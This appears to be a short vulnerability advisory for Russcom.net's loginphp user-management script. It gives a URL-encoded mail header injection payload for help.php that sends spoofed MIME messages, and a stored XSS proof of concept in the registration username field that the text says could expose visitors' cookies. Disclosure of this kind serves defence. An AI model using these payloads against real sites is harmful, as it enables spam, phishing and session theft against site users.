impact:moderate (privilege escalation,possible defacement)
Russcom.net's loginphp script is a small usermanagement script:
Users can sign up for a username which they can use to login to the password
protected main page.
The administrator can delete users. He can also edit the main page.
This script includes the members and help pages.
It is possible to send spoofed mails in MIME-format trough help.php due to
improper filtering:
The php mail function is used like:
mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]);
By following the rules provided in RFC 822 we can inject a message in
MIME-format like this:
haxor@xxxxxxxxxx%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A
My%20Message.%0A--frog--
to get this message:
To: recip@xxxxxxxx
Subject: Visit www.website.xxx !
From: haxor@xxxxxxxxxx
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html
My Message.
--frog--

In the register function you can subscribe with the following username (for
example):
<script>alert('xss')</script> the input isn't sanitized so you can insert any
XSS (30 char max) and anyone who will visit the page displaying
all users will get XSS'd (potentially cookies stolen).
